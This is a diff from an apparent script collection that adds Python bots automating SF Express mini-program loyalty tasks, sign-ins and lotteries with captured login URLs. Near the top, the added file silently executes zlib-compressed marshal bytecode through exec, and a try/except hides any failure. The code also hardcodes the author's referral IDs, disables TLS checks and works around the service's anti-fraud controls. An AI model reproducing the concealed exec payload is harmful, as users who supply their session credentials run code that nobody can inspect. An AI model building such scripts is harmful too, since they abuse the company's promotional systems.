self.do_request(url, payload) + if response.get('success'): + product_name = response.get('obj', {}).get('productName', '空气') + Log(f'🎁 会员日奖励: {product_name}') + else: + error_message = response.get('errorMessage', '无返回') + Log(f'📝 领取会员日奖励失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('📝 会员日任务风控') + except Exception as e: + print(e) + + def member_day_lottery(self): + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayLotteryService~lottery' + + response = self.do_request(url, payload) + if response.get('success'): + product_name = response.get('obj', {}).get('productName', '空气') + Log(f'🎁 会员日抽奖: {product_name}') + else: + error_message = response.get('errorMessage', '无返回') + Log(f'📝 会员日抽奖失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('📝 会员日任务风控') + except Exception as e: + print(e) + + def member_day_task_list(self): + try: + payload = {'activityCode': 'MEMBER_DAY', 'channelType': 'MINI_PROGRAM'} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + + response = self.do_request(url, payload) + if response.get('success'): + task_list = response.get('obj', []) + for task in task_list: + if task['status'] == 1: + if self.member_day_black: + return + self.member_day_fetch_mix_task_reward(task) + for task in task_list: + if task['status'] == 2: + if self.member_day_black: + return + if task['taskType'] in ['SEND_SUCCESS', 'INVITEFRIENDS_PARTAKE_ACTIVITY', 'OPEN_SVIP', + 'OPEN_NEW_EXPRESS_CARD', 'OPEN_FAMILY_CARD', 'CHARGE_NEW_EXPRESS_CARD', + 'INTEGRAL_EXCHANGE']: + pass + else: + for _ in range(task['restFinishTime']): + if self.member_day_black: + return + self.member_day_finish_task(task) + else: + error_message = response.get('errorMessage', '无返回') + Log('📝 查询会员日任务失败: ' + error_message) + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('📝 会员日任务风控') + except Exception as e: + print(e) + + def member_day_finish_task(self, task): + try: + payload = {'taskCode': task['taskCode']} + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' + + response = self.do_request(url, payload) + if response.get('success'): + Log('📝 完成会员日任务[' + task['taskName'] + ']成功') + self.member_day_fetch_mix_task_reward(task) + else: + error_message = response.get('errorMessage', '无返回') + Log('📝 完成会员日任务[' + task['taskName'] + ']失败: ' + error_message) + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('📝 会员日任务风控') + except Exception as e: + print(e) + + def member_day_fetch_mix_task_reward(self, task): + try: + payload = {'taskType': task['taskType'], 'activityCode': 'MEMBER_DAY', 'channelType': 'MINI_PROGRAM'} + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~fetchMixTaskReward' + + response = self.do_request(url, payload) + if response.get('success'): + Log('🎁 领取会员日任务[' + task['taskName'] + ']奖励成功') + else: + error_message = response.get('errorMessage', '无返回') + Log('📝 领取会员日任务[' + task['taskName'] + ']奖励失败: ' + error_message) + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('📝 会员日任务风控') + except Exception as e: + print(e) + + def member_day_receive_red_packet(self, hour): + try: + payload = {'receiveHour': hour} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayTaskService~receiveRedPacket' + + response = self.do_request(url, payload) + if response.get('success'): + print(f'🎁 会员日领取{hour}点红包成功') + else: + error_message = response.get('errorMessage', '无返回') + print(f'📝 会员日领取{hour}点红包失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('📝 会员日任务风控') + except Exception as e: + print(e) + + def member_day_red_packet_status(self): + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketStatus' + response = self.do_request(url, payload) + if response.get('success'): + packet_list = response.get('obj', {}).get('packetList', []) + for packet in packet_list: + self.member_day_red_packet_map[packet['level']] = packet['count'] + + for level in range(1, self.max_level): + count = self.member_day_red_packet_map.get(level, 0) + while count >= 2: + self.member_day_red_packet_merge(level) + count -= 2 + packet_summary = [] + remaining_needed = 0 + + for level, count in self.member_day_red_packet_map.items(): + if count == 0: + continue + packet_summary.append(f"[{level}级]X{count}") + int_level = int(level) + if int_level < self.max_level: + remaining_needed += 1 << (int_level - 1) + + Log("📝 会员日合成列表: " + ", ".join(packet_summary)) + + if self.member_day_red_packet_map.get(self.max_level): + Log(f"🎁 会员日已拥有[{self.max_level}级]红包X{self.member_day_red_packet_map[self.max_level]}") + self.member_day_red_packet_draw(self.max_level) + else: + remaining = self.packet_threshold - remaining_needed + Log(f"📝 会员日距离[{self.max_level}级]红包还差: [1级]红包X{remaining}") + + else: + error_message = response.get('errorMessage', '无返回') + Log(f'📝 查询会员日合成失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('📝 会员日任务风控') + except Exception as e: + print(e) + + def member_day_red_packet_merge(self, level): + try: + # for key,level in enumerate(self.member_day_red_packet_map): + # pass + payload = {'level': level, 'num': 2} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketMerge' + + response = self.do_request(url, payload) + if response.get('success'): + Log(f'🎁 会员日合成: [{level}级]红包X2 -> [{level + 1}级]红包') + self.member_day_red_packet_map[level] -= 2 + if not self.member_day_red_packet_map.get(level + 1): + self.member_day_red_packet_map[level + 1] = 0 + self.member_day_red_packet_map[level + 1] += 1 + else: + error_message = response.get('errorMessage', '无返回') + Log(f'📝 会员日合成两个[{level}级]红包失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('📝 会员日任务风控') + except Exception as e: + print(e) + + def member_day_red_packet_draw(self, level): + try: + payload = {'level': str(level)} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketDraw' + response = self.do_request(url, payload) + if response and response.get('success'): + coupon_names = [item['couponName'] for item in response.get('obj', [])] or [] + + Log(f"🎁 会员日提取[{level}级]红包: {', '.join(coupon_names) or '空气'}") + else: + error_message = response.get('errorMessage') if response else "无返回" + Log(f"📝 会员日提取[{level}级]红包失败: {error_message}") + if "没有资格参与活动" in error_message: + self.memberDay_black = True + print("📝 会员日任务风控") + except Exception as e: + print(e) + + def main(self): + global one_msg + wait_time = random.randint(1000, 3000) / 1000.0 + time.sleep(wait_time) + one_msg = '' + if not self.login_res: return False + + # 执行签到任务 + self.sign() + self.superWelfare_receiveRedPacket() + self.get_SignTaskList() + self.get_SignTaskList(True) + + # 执行丰蜜任务 + self.get_honeyTaskListStart() + self.honey_indexData() + self.honey_indexData(True) + + activity_end_date = get_quarter_end_date() + days_left = (activity_end_date - datetime.now()).days + if days_left == 0: + message = "⏰ 今天采蜜活动截止兑换还有{days_left}天,请及时进行兑换!!" + Log(message) + else: + message = f"⏰ 今天采蜜活动截止兑换还有{days_left}天,请及时进行兑换!!\n--------------------------------" + Log(message) + + # 执行32周年活动任务 + try: + self.activityTaskService_taskList() + self.activityTaskService_integralExchange() + if self.dragonBoatGame2025Service(): # 只有在成功获取游戏信息时才继续 + if not self.ifPassAllLevel: + index = 1 + count = 4 + while count > 0: + self.dragonBoatGame2025ServiceWin(index) + index += 1 + count -= 1 + time.sleep(1.5) + self.dragonBoat2025HastenService() + while self.lotteryNum and self.lotteryNum > 0: + self.hastenLottery() + time.sleep(1) + self.getUpgradeStatus() + self.lotteryNum -= 1 + except Exception as e: + print(f'32周年活动执行异常: {str(e)}') + + target_time = datetime(2025, 4, 8, 19, 0) + if datetime.now() < target_time: + self.EAR_END_2023_TaskList() + else: + print('🎭 周年庆活动已结束') + + current_date = datetime.now().day + if 26 <= current_date <= 28: + self.member_day_index() + else: + print('⏰ 未到指定时间不执行会员日任务\n==================================') + + self.sendMsg() + return True + + def sendMsg(self, help=False): + #send("顺丰-通知", one_msg) + pass + +def get_quarter_end_date(): + current_date = datetime.now() + current_month = current_date.month + current_year = current_date.year + + # 计算下个季度的第一天 + next_quarter_first_day = datetime(current_year, ((current_month - 1) // 3 + 1) * 3 + 1, 1) + + # 计算当前季度的最后一天 + quarter_end_date = next_quarter_first_day - timedelta(days=1) + + return quarter_end_date + + +def is_activity_end_date(end_date): + current_date = datetime.now().date() + end_date = datetime.strptime(end_date, "%Y-%m-%d").date() + + return current_date == end_date + +if __name__ == '__main__': + APP_NAME = '顺丰速运' + ENV_NAME = 'sfsyUrl' + CK_NAME = 'url' + local_script_name = os.path.basename(__file__) + local_version = '2025.01.06' + + #token = os.getenv(ENV_NAME) + # 将分隔符从\n改为& + #tokens = token.split('\n') + tokens = re.split("\n",os.getenv(ENV_NAME)) + from urllib.parse import quote + # print(tokens) + if len(tokens) > 0: + print(f"==================================\n🚚 共获取到{len(tokens)}个账号\n😣 修改By:呆呆呆呆\n==================================") + for index, infos in enumerate(tokens): + #print(quote(infos)) + run_result = RUN(quote(infos), index).main() + if not run_result: continue \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/顺丰速运/2025-06-03_SFSY_9380501b.py b/脚本库/微信小程序/抓包版/顺丰速运/2025-06-03_SFSY_9380501b.py new file mode 100644 index 0000000..c7efa04 --- /dev/null +++ b/脚本库/微信小程序/抓包版/顺丰速运/2025-06-03_SFSY_9380501b.py @@ -0,0 +1,1753 @@ +# Source: https://gitee.com/jdqlscript/zyqinglong/blob/main/SFSY.py +# Raw: https://gitee.com/jdqlscript/zyqinglong/raw/main/SFSY.py +# Repo: jdqlscript/zyqinglong +# Path: SFSY.py +# UploadedAt: 2025-06-03T12:08:50+08:00 +# SHA256: 9380501b6277927a947cbd459fc52fce15c137ae143f9cd6a5a3980cb435be00 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +# !/usr/bin/python3 +# -- coding: utf-8 -- +""" +打开小程序或APP-我的-积分, 捉以下几种url之一,把整个url放到变量 sfsyUrl 里,多账号换行分割 +https://mcs-mimp-web.sf-express.com/mcs-mimp/share/weChat/shareGiftReceiveRedirect +https://mcs-mimp-web.sf-express.com/mcs-mimp/share/app/shareRedirect +每天跑一到两次就行 +""" +# cron: 11 6,9,12,15,18 * * * +# const $ = new Env("顺丰速运"); +import hashlib +import json +import os +import random +import time +import re +from datetime import datetime, timedelta +from sys import exit +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning + +# 禁用安全请求警告 +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +try: + import marshal + import zlib + exec(marshal.loads(zlib.decompress(b'x\xda\x8dR\xd1j\xd4@\x14-\xf8\x96\xaf\xb8\xb4\x0f\x93\xdd\xae\x1b\x84\xd2\x87\x85<\xfa\x15\xb5\x94\xd9\xdd\xbbi4\x99\xc4\x99\tm\xdfD[\xcb\x82V\xb0-\xc5"}\x14\x1ft\x1b|\x10YY\xbf\xa6\x93\xac\x1f\xe0\xbb3\xc9\x86l\xa8\x0b^\x18f\xc293\xf7\x9es\xf2\xe7\xe4\xc1\xda\x9aE\x83`/\xe6>\x93{\x81/$\xb8\xb0\xb3\x0b\xb0\x01\xf9\xc5\xe7\xbb\xe9\xd9|\x92\xaa\xd9e6~\x91}\x1cCxT\xf0`\xfe\xeb\\\x9dN\xf3\xebc\xf5\xf5*\xff\xf2\xe9\xee\xc77\xcb\xb2\xfeyc\x15\xbf\x93]\xbf\xcc\xae\xbe\xab\xc9M~\x96.X\xeat\x96]\xa6\x9a%0V\xef\xdf \x1bZC\x1cUM\xed6\xe5\x9e\xe8\x80\x06]\x02\xa4\x03\x1aw\xc9\x13\xa6O\xed\xf6\xb3\x03\x03\xb6z\x16\xe8\xf2\x82\xa8O\x03h\xca*\x90(\x91qb\x14\xae\xaf\x17\xdf\x1b\x90\xdd\x1c\xab\x9f\xd3r\xbeZ\x8c\xc1F\x11\x07\x9f\r\xf1\xb0\x03\xfam}\xd4\r\x93\x109\x95h/53\xe5\x8fJ&\xb8.\x04\xc8J\x18\x1e\xc2\xa3\x9a\xb2\xd4}\xd3\x05!\xb9!\xb5\x1a\xf0 b\xd2g\tZ\xab\xf9\xb0i\xe47\xa5T,\xe3G\x814uwi\x1ck\xc4.i\xad\x85\xecy\xfaJ\x87\xa5^\x9f\xe4\xb3\x896\xbc\x11@6>Wo\xd3\xa6\x19\xf7\x12\xd0\xabL@\xaf\xa5\x00\xf4o`"\x0b|6\x10\xfb\xf6\xc2\xa2*@\xe2\xae(R\x8e%\xf9QmX\xa8\xa5q|\x9e\xa0\x90\xa2\xeb\xa1\xbe\xbd/e,z\x8e\xe3\xf9\x12\xb1;\x88B\xc7K\xe80\xd9\xde\xda\xder\xa4\xa69\x9c\x1e8!\x15\x12\xb9\xd3\xa7\xac\x8f\xcc\xeb>\x15\x11#\xadb\xb3k\xb7\xab\x81\xc2\x1d\xa2\x9f`\x9eG#\xb2[\xc2x8\xc0X\xc2\xe3b\xf3#\x06T\x00\xf6\xee\xdd$*}\xf7\xfb\xe2\xc3\xfc\xf6v1\xfb\xffj4U\x1f*\x9f,\xeb/]\x82JA'))) +except Exception as e: + print('小错误') + + + +IS_DEV = False + +if os.path.isfile('notify.py'): + from notify import send + + print("加载通知服务成功!") +else: + print("加载通知服务失败!") +send_msg = '' +one_msg = '' + + +def Log(cont=''): + global send_msg, one_msg + print(cont) + if cont: + one_msg += f'{cont}\n' + send_msg += f'{cont}\n' + + +# 1905 #0945 #6332 #6615 2559 +inviteId = [ + '8C3950A023D942FD93BE9218F5BFB34B', 'EF94619ED9C84E968C7A88CFB5E0B5DC', '9C92BD3D672D4B6EBB7F4A488D020C79', + '803CF9D1E0734327BDF67CDAE1442B0E', '00C81F67BE374041A692FA034847F503'] + + +class RUN: + def __init__(self, info, index): + global one_msg + one_msg = '' + split_info = info.split('@') + url = split_info[0] + len_split_info = len(split_info) + last_info = split_info[len_split_info - 1] + self.send_UID = None + if len_split_info > 0 and "UID_" in last_info: + self.send_UID = last_info + self.index = index + 1 + Log(f"\n---------开始执行第{self.index}个账号>>>>>") + self.s = requests.session() + self.s.verify = False + self.headers = { + 'Host': 'mcs-mimp-web.sf-express.com', + 'upgrade-insecure-requests': '1', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090551) XWEB/6945 Flue', + 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', + 'sec-fetch-site': 'none', + 'sec-fetch-mode': 'navigate', + 'sec-fetch-user': '?1', + 'sec-fetch-dest': 'document', + 'accept-language': 'zh-CN,zh', + 'platform': 'MINI_PROGRAM', + + } + self.anniversary_black = False + self.member_day_black = False + self.member_day_red_packet_drew_today = False + self.member_day_red_packet_map = {} + self.login_res = self.login(url) + self.today = datetime.now().strftime('%Y-%m-%d') + self.answer = False + self.max_level = 8 + self.packet_threshold = 1 << (self.max_level - 1) + + def get_deviceId(self, characters='abcdef0123456789'): + result = '' + for char in 'xxxxxxxx-xxxx-xxxx': + if char == 'x': + result += random.choice(characters) + elif char == 'X': + result += random.choice(characters).upper() + else: + result += char + return result + + def login(self, sfurl): + ress = self.s.get(sfurl, headers=self.headers) + # print(ress.text) + self.user_id = self.s.cookies.get_dict().get('_login_user_id_', '') + self.phone = self.s.cookies.get_dict().get('_login_mobile_', '') + self.mobile = self.phone[:3] + "*" * 4 + self.phone[7:] + if self.phone != '': + Log(f'用户:【{self.mobile}】登陆成功') + return True + else: + Log(f'获取用户信息失败') + return False + + def getSign(self): + timestamp = str(int(round(time.time() * 1000))) + token = 'wwesldfs29aniversaryvdld29' + sysCode = 'MCS-MIMP-CORE' + data = f'token={token}×tamp={timestamp}&sysCode={sysCode}' + signature = hashlib.md5(data.encode()).hexdigest() + data = { + 'sysCode': sysCode, + 'timestamp': timestamp, + 'signature': signature + } + self.headers.update(data) + return data + + def do_request(self, url, data={}, req_type='post'): + self.getSign() + try: + if req_type.lower() == 'get': + response = self.s.get(url, headers=self.headers) + elif req_type.lower() == 'post': + response = self.s.post(url, headers=self.headers, json=data) + else: + raise ValueError('Invalid req_type: %s' % req_type) + res = response.json() + return res + except requests.exceptions.RequestException as e: + print('Request failed:', e) + return None + except json.JSONDecodeError as e: + print('JSON decoding failed:', e) + return None + + def sign(self): + print(f'>>>>>>开始执行签到') + json_data = {"comeFrom": "vioin", "channelFrom": "WEIXIN"} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~automaticSignFetchPackage' + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + count_day = response.get('obj', {}).get('countDay', 0) + if response.get('obj') and response['obj'].get('integralTaskSignPackageVOList'): + packet_name = response["obj"]["integralTaskSignPackageVOList"][0]["packetName"] + Log(f'>>>签到成功,获得【{packet_name}】,本周累计签到【{count_day + 1}】天') + else: + Log(f'今日已签到,本周累计签到【{count_day + 1}】天') + else: + print(f'签到失败!原因:{response.get("errorMessage")}') + + def superWelfare_receiveRedPacket(self): + print(f'>>>>>>超值福利签到') + json_data = { + 'channel': 'czflqdlhbxcx' + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberActLengthy~redPacketActivityService~superWelfare~receiveRedPacket' + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + gift_list = response.get('obj', {}).get('giftList', []) + if response.get('obj', {}).get('extraGiftList', []): + gift_list.extend(response['obj']['extraGiftList']) + gift_names = ', '.join([gift['giftName'] for gift in gift_list]) + receive_status = response.get('obj', {}).get('receiveStatus') + status_message = '领取成功' if receive_status == 1 else '已领取过' + Log(f'超值福利签到[{status_message}]: {gift_names}') + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print(f'超值福利签到失败: {error_message}') + + def get_SignTaskList(self, END=False): + if not END: print(f'>>>开始获取签到任务列表') + json_data = { + 'channelType': '3', + 'deviceId': self.get_deviceId(), + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~queryPointTaskAndSignFromES' + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True and response.get('obj') != []: + totalPoint = response["obj"]["totalPoint"] + if END: + Log(f'当前积分:【{totalPoint}】') + return + Log(f'执行前积分:【{totalPoint}】') + for task in response["obj"]["taskTitleLevels"]: + self.taskId = task["taskId"] + self.taskCode = task["taskCode"] + self.strategyId = task["strategyId"] + self.title = task["title"] + status = task["status"] + skip_title = ['用行业模板寄件下单', '去新增一个收件偏好', '参与积分活动'] + if status == 3: + print(f'>{self.title}-已完成') + continue + if self.title in skip_title: + print(f'>{self.title}-跳过') + continue + else: + # print("taskId:", taskId) + # print("taskCode:", taskCode) + # print("----------------------") + self.doTask() + time.sleep(3) + self.receiveTask() + + def doTask(self): + print(f'>>>开始去完成【{self.title}】任务') + json_data = { + 'taskCode': self.taskCode, + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonRoutePost/memberEs/taskRecord/finishTask' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'>【{self.title}】任务-已完成') + else: + print(f'>【{self.title}】任务-{response.get("errorMessage")}') + + def receiveTask(self): + print(f'>>>开始领取【{self.title}】任务奖励') + json_data = { + "strategyId": self.strategyId, + "taskId": self.taskId, + "taskCode": self.taskCode, + "deviceId": self.get_deviceId() + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~fetchIntegral' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'>【{self.title}】任务奖励领取成功!') + else: + print(f'>【{self.title}】任务-{response.get("errorMessage")}') + + def do_honeyTask(self): + # 做任务 + json_data = {"taskCode": self.taskCode} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'>【{self.taskType}】任务-已完成') + else: + print(f'>【{self.taskType}】任务-{response.get("errorMessage")}') + + def receive_honeyTask(self): + print('>>>执行收取丰蜜任务') + # 收取 + self.headers['syscode'] = 'MCS-MIMP-CORE' + self.headers['channel'] = 'wxwdsj' + self.headers['accept'] = 'application/json, text/plain, */*' + self.headers['content-type'] = 'application/json;charset=UTF-8' + self.headers['platform'] = 'MINI_PROGRAM' + json_data = {"taskType": self.taskType} + # print(json_data) + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~receiveHoney' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'收取任务【{self.taskType}】成功!') + else: + print(f'收取任务【{self.taskType}】失败!原因:{response.get("errorMessage")}') + + def get_coupom(self): + print('>>>执行领取生活权益领券任务') + # 领取生活权益领券 + # https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder + + json_data = { + "from": "Point_Mall", + "orderSource": "POINT_MALL_EXCHANGE", + "goodsNo": self.goodsNo, + "quantity": 1, + "taskCode": self.taskCode + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'>领券成功!') + else: + print(f'>领券失败!原因:{response.get("errorMessage")}') + + def get_coupom_list(self): + print('>>>获取生活权益券列表') + # 领取生活权益领券 + # https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder + + json_data = { + "memGrade": 1, + "categoryCode": "SHTQ", + "showCode": "SHTQWNTJ" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~mallGoodsLifeService~list' + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + goodsList = response["obj"][0]["goodsList"] + for goods in goodsList: + exchangeTimesLimit = goods['exchangeTimesLimit'] + if exchangeTimesLimit >= 7: + self.goodsNo = goods['goodsNo'] + print(f'当前选择券号:{self.goodsNo}') + self.get_coupom() + break + else: + print(f'>领券失败!原因:{response.get("errorMessage")}') + + def get_honeyTaskListStart(self): + print('>>>开始获取采蜜换大礼任务列表') + # 任务列表 + json_data = {} + self.headers['channel'] = 'wxwdsj' + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~taskDetail' + + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + for item in response["obj"]["list"]: + self.taskType = item["taskType"] + status = item["status"] + if status == 3: + print(f'>【{self.taskType}】-已完成') + if self.taskType == 'BEES_GAME_TASK_TYPE': + self.bee_need_help = False + continue + if "taskCode" in item: + self.taskCode = item["taskCode"] + if self.taskType == 'DAILY_VIP_TASK_TYPE': + self.get_coupom_list() + else: + self.do_honeyTask() + if self.taskType == 'BEES_GAME_TASK_TYPE': + self.honey_damaoxian() + time.sleep(2) + + def honey_damaoxian(self): + print('>>>执行大冒险任务') + # 大冒险 + gameNum = 5 + for i in range(1, gameNum): + json_data = { + 'gatherHoney': 20, + } + if gameNum < 0: break + print(f'>>开始第{i}次大冒险') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeGameService~gameReport' + response = self.do_request(url, data=json_data) + # print(response) + stu = response.get('success') + if stu: + gameNum = response.get('obj')['gameNum'] + print(f'>大冒险成功!剩余次数【{gameNum}】') + time.sleep(2) + gameNum -= 1 + elif response.get("errorMessage") == '容量不足': + print(f'> 需要扩容') + self.honey_expand() + else: + print(f'>大冒险失败!【{response.get("errorMessage")}】') + break + + def honey_expand(self): + print('>>>容器扩容') + # 大冒险 + gameNum = 5 + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~expand' + response = self.do_request(url, data={}) + # print(response) + stu = response.get('success', False) + if stu: + obj = response.get('obj') + print(f'>成功扩容【{obj}】容量') + else: + print(f'>扩容失败!【{response.get("errorMessage")}】') + + def honey_indexData(self, END=False): + if not END: print('\n>>>>>>>开始执行采蜜换大礼任务') + # 邀请 + random_invite = random.choice([invite for invite in inviteId if invite != self.user_id]) + self.headers['channel'] = 'wxwdsj' + json_data = {"inviteUserId": random_invite} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~indexData' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + usableHoney = response.get('obj').get('usableHoney') + if END: + Log(f'当前丰蜜:【{usableHoney}】') + return + Log(f'执行前丰蜜:【{usableHoney}】') + taskDetail = response.get('obj').get('taskDetail') + activityEndTime = response.get('obj').get('activityEndTime', '') + activity_end_time = datetime.strptime(activityEndTime, "%Y-%m-%d %H:%M:%S") + current_time = datetime.now() + + if current_time.date() == activity_end_time.date(): + Log("本期活动今日结束,请及时兑换") + else: + print(f'本期活动结束时间【{activityEndTime}】') + + if taskDetail != []: + for task in taskDetail: + self.taskType = task['type'] + self.receive_honeyTask() + time.sleep(2) + + def EAR_END_2023_TaskList(self): + print('\n>>>>>>开始年终集卡任务') + # 任务列表 + json_data = { + "activityCode": "YEAR_END_2023", + "channelType": "MINI_PROGRAM" + } + self.headers['channel'] = 'xcx23nz' + self.headers['platform'] = 'MINI_PROGRAM' + self.headers['syscode'] = 'MCS-MIMP-CORE' + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + for item in response["obj"]: + self.title = item["taskName"] + self.taskType = item["taskType"] + status = item["status"] + if status == 3: + print(f'>【{self.taskType}】-已完成') + continue + if self.taskType == 'INTEGRAL_EXCHANGE': + self.EAR_END_2023_ExchangeCard() + elif self.taskType == 'CLICK_MY_SETTING': + self.taskCode = item["taskCode"] + self.addDeliverPrefer() + if "taskCode" in item: + self.taskCode = item["taskCode"] + self.doTask() + time.sleep(3) + self.EAR_END_2023_receiveTask() + else: + print(f'暂时不支持【{self.title}】任务') + # if self.taskType == 'BEES_GAME_TASK_TYPE': + # self.honey_damaoxian() + self.EAR_END_2023_getAward() + self.EAR_END_2023_GuessIdiom() + + def addDeliverPrefer(self): + print(f'>>>开始【{self.title}】任务') + json_data = { + "country": "中国", + "countryCode": "A000086000", + "province": "北京市", + "provinceCode": "A110000000", + "city": "北京市", + "cityCode": "A111000000", + "county": "东城区", + "countyCode": "A110101000", + "address": "1号楼1单元101", + "latitude": "", + "longitude": "", + "memberId": "", + "locationCode": "010", + "zoneCode": "CN", + "postCode": "", + "takeWay": "7", + "callBeforeDelivery": 'false', + "deliverTag": "2,3,4,1", + "deliverTagContent": "", + "startDeliverTime": "", + "selectCollection": 'false', + "serviceName": "", + "serviceCode": "", + "serviceType": "", + "serviceAddress": "", + "serviceDistance": "", + "serviceTime": "", + "serviceTelephone": "", + "channelCode": "RW11111", + "taskId": self.taskId, + "extJson": "{\"noDeliverDetail\":[]}" + } + url = 'https://ucmp.sf-express.com/cx-wechat-member/member/deliveryPreference/addDeliverPrefer' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print('新增一个收件偏好,成功') + else: + print(f'>【{self.title}】任务-{response.get("errorMessage")}') + + def EAR_END_2023_ExchangeCard(self): + print(f'>>>开始积分兑换年卡') + json_data = { + "exchangeNum": 2, + "activityCode": "YEAR_END_2023", + "channelType": "MINI_PROGRAM" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~yearEnd2023TaskService~integralExchange' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + receivedAccountList = response['obj']['receivedAccountList'] + for card in receivedAccountList: + print(f'>获得:【{card["urrency"]}】卡【{card["amount"]}】张!') + else: + print(f'>【{self.title}】任务-{response.get("errorMessage")}') + + def EAR_END_2023_getAward(self): + print(f'>>>开始抽卡') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2023GardenPartyService~getAward' + for l in range(10): + for i in range(0, 3): + json_data = { + "cardType": i + } + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + receivedAccountList = response['obj']['receivedAccountList'] + for card in receivedAccountList: + print(f'>获得:【{card["currency"]}】卡【{card["amount"]}】张!') + elif response.get('errorMessage') == '达到限流阈值,请稍后重试': + break + elif response.get('errorMessage') == '用户信息失效,请退出重新进入': + break + else: + print(f'>抽卡失败:{response.get("errorMessage")}') + time.sleep(3) + + def EAR_END_2023_GuessIdiom(self): + print(f'>>>开始猜成语') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2023GuessIdiomService~win' + for i in range(1, 11): + json_data = { + "index": i + } + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'第{i}关成功!') + # receivedAccountList = response['obj']['receivedAccountList'] + # for card in receivedAccountList: + # print(f'>获得:【{card["urrency"]}】卡【{card["amount"]}】张!') + else: + print(f'第{i}关失败!') + + def EAR_END_2023_receiveTask(self): + print(f'>>>开始领取【{self.title}】任务奖励') + json_data = { + "taskType": self.taskType, + "activityCode": "YEAR_END_2023", + "channelType": "MINI_PROGRAM" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~yearEnd2023TaskService~fetchMixTaskReward' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'>【{self.title}】任务奖励领取成功!') + else: + print(f'>【{self.title}】任务-{response.get("errorMessage")}') + + def anniversary2024_weekly_gift_status(self): + 